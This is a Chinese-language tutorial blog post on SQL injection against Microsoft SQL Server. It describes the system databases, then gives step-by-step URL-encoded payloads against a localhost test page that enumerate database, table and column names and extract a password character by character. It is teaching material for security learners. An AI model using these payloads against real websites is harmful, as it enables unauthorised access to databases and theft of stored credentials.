目錄
0x01 SQL server基礎
0x02 基本注入
SQL server部分版本已被黑客安裝后門,詳情請在文末查看。
0x01 SQL server基礎
在學習注入之前,最重要的是要先了解SQL server的具體的東西,才能更好的進行注入操作
系統庫
master
master數據庫控制SQLserver的所有方面,這個數據庫中包含所有的配置信息、用戶登陸信息、當前正在服務器運行中的過程的信息
model
model數據庫是建立所有數據庫時的模板,當你建立一個新數據庫時,SQL server會把model數據庫中的所有對象建立一份拷貝並移到新數據庫中,在模板對象被拷貝到新的用戶數據庫之后,該數據庫的所有多余空間都將被頁面填滿
tempdb
tempdb數據庫是一個非常特殊的數據庫,供所有來訪問SQL server的用戶使用,這個庫用來保存所有的臨時表、存儲過程和其他SQLserver建立的臨時用的東西,例如,排序時要用到tempdb數據庫,數據被放進tempdb數據庫,排完序后再把結果返回給用戶。每次SQL server重新啟動,它都會清空tempdb數據庫並重建,永遠不要在tempdb數據庫建立需要永久保存的表
msdb
msdb數據庫是SQLserver中的一個特例,如果你查看這個數據庫的實際定義,會發現它其實是一個用戶數據庫,不同之處是SQLserver拿這個數據庫用來做什么,所有的任務調度、報警、操作員都存儲在msdb數據庫中,該庫的另一個功能是用來存儲所有備份歷史,SQL server agent將會使用這個庫
information_schema
information_schema是在SQL server2000及更高版本存在的,可以檢索數據庫中的對象的元數據,與MySQL中的有相同的功能,它是符合ISO標准的,與sys不同,sys是微軟自己搞出來的東西
注釋方法
C語言注釋風格 /*
SQL注釋風格 --
空字節 ;%00
0x02 基本注入
首先我們先訪問注入網址
http://127.0.0.1/index.php?id=1
這里我們模擬的SQL語句是這樣的
$sql= "select * from test where id=".$id;
這里我們就先用1=1和1=2來做一個簡單的判斷
然后我們來嘗試一下查看數據庫版本
通過使用報錯的方式將我們想要的值給帶出來
http://127.0.0.1/index.php?id=1%20and%201=(select%20@@version)
使用db_name()
來查看數據庫名
http://127.0.0.1/index.php?id=1%20and%201=(select%20db_name())
等等可以獲取到一些我們所需要的信息
接下來使用having
字句來獲取當前數據庫的表名和列名
http://127.0.0.1 /index.php?id=1%20having%201=1
然后我們繼續使用上一個所得到的值來遞歸獲取所有的名
http://127.0.0.1/index.php?id=1%20group%20by%20test.id%20having%201=1
http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name%20having%201=1
http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name,test.password%20having%201=1
通過上面這樣的方法,我們就已經得到了當前使用的數據庫為test
,其中的列有id
、name
、password
然后我們注入password的數據
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=49
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=50
可以知道第一個為字符1
然后繼續猜解第二個字符
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=50
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=51
可以得到第二個字符為2
依此類推得到最終的結果為123456
我們還可以通過注入獲取到其他的數據庫名稱
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases)
但是由於只能輸出一個字段的內容,所以這里使用where
語句的not in
來進行獲取
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master'))
得到了第二個數據庫model。然后通過這樣的方式繼續往后遍歷
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model'))
繼續遍歷就可以了
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model','msdb'))
在得到數據庫test之后,我們使用information.schema
來獲取數據表
http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20table_name%20from%20test.information_schema.tables)
這里我們只有一個表,如果有多個表的話,可以通過之前not in的方法來進行獲取
到這里我們就已經知道了數據庫為test,數據表也為test
接下來該獲取字段了
http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test')
然后同樣使用not in的方法可以遍歷得到所有的列名
http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test'%20and%20column_name%20not%20in%20('id'))
之后獲取數據就跟之前的方法是一樣的了
這篇文章只是一個簡單的開頭,至於更多的內容還需要大家來看,最后再給大家提一下剛爆出來的一個上游攻擊的事件,SQL server部分版本已經被黑客組織植入后門程序skip-2.0,在安裝了中招的SQL server之后,可以允許黑客不進行身份驗證而直接進行登陸。
可以去FreeBuf了解其他詳情
https://www.freebuf.com/news/217738.html
文章首發公眾號:無心的夢囈(wuxinmengyi)
這是一個記錄紅隊學習、信安筆記,個人成長的公眾號
掃碼關注即可